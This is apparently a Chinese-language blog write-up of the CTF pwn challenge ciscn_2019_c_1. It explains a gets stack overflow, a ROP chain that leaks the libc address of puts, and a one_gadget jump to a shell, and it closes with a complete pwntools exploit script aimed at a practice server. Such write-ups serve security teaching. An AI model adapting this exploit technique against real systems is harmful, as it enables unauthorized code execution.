ciscn_2019_c_1 WriteUp

Eutopia's Blog

Posted by Eutopia on October 23, 2023

ciscn_2019_c_1 WriteUp

考点

  • libc版本泄漏
  • ROP攻击
  • onegadget使用

解题过程

  1. 使用checksec工具进行查看,程序为64位,NX保护

checksec

  1. 使用ida工具反编译。

main:

main

encrypt

encrypt

​ 可以看出程序功能为对输入字符串进行加密,而加密encrypt函数中的get存在栈溢出漏洞。

  1. 由于在程序中找不到system函数和/bin/sh字符串,所以需要进行ROP攻击,泄漏其libc地址,使用onegadget工具直接获取shell。
  2. 使用ROPgadget工具获取泄漏libc地址所需的指令地址(pop rdi; ),然后获取程序中put_got表和put_plt表地址,执行栈溢出payload构造如下
payload = flat(b"\0", b"a"*(0x50-1), 0x0, pop_rdi, puts_got, puts_plt, encrypt)

​ 注意最后需要加上encrypt函数使程序重新回到漏洞函数处。

  1. 获取libc基址后,再次进入漏洞函数,然后执行onegadget指令。获取shell。

结果

构造脚本如下

python

from pwn import *

context(arch="amd64", log_level="debug")
# p = process("./ciscn_2019_c_1")
p = remote("node4.buuoj.cn", 26936)

one_gadget = 0x10a38c  # 0x4f322, 0x4f2c5, 0x10a38c
pop_rdi = 0x400c83
encrypt = 0x4009A0

elf = ELF('./ciscn_2019_c_1')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

libc = ELF('./libc-2.27.so')
puts_offset = libc.symbols['puts']

payload = flat(b"\0", b"a"*(0x50-1), 0x0, pop_rdi, puts_got, puts_plt, encrypt)
# gdb.attach(p, 'b *0x4009DD')
p.sendlineafter(b"Input your choice!", b'1')
p.sendlineafter(b'Input your Plaintext to be encrypted', payload)
p.recvuntil("\nCiphertext\n\n")
puts_addr = p.recv(6)
puts_addr = u64(puts_addr.ljust(8, b'\x00'))
success(hex(puts_addr))
libc_addr = puts_addr - puts_offset
success(hex(libc_addr))

one_gadget = libc_addr + one_gadget

payload = flat(b"\0", b'a'*(0x50-1), 0x0, one_gadget)
p.sendlineafter(b"Input your Plaintext to be encrypted", payload)


p.interactive()

成功获取flag

result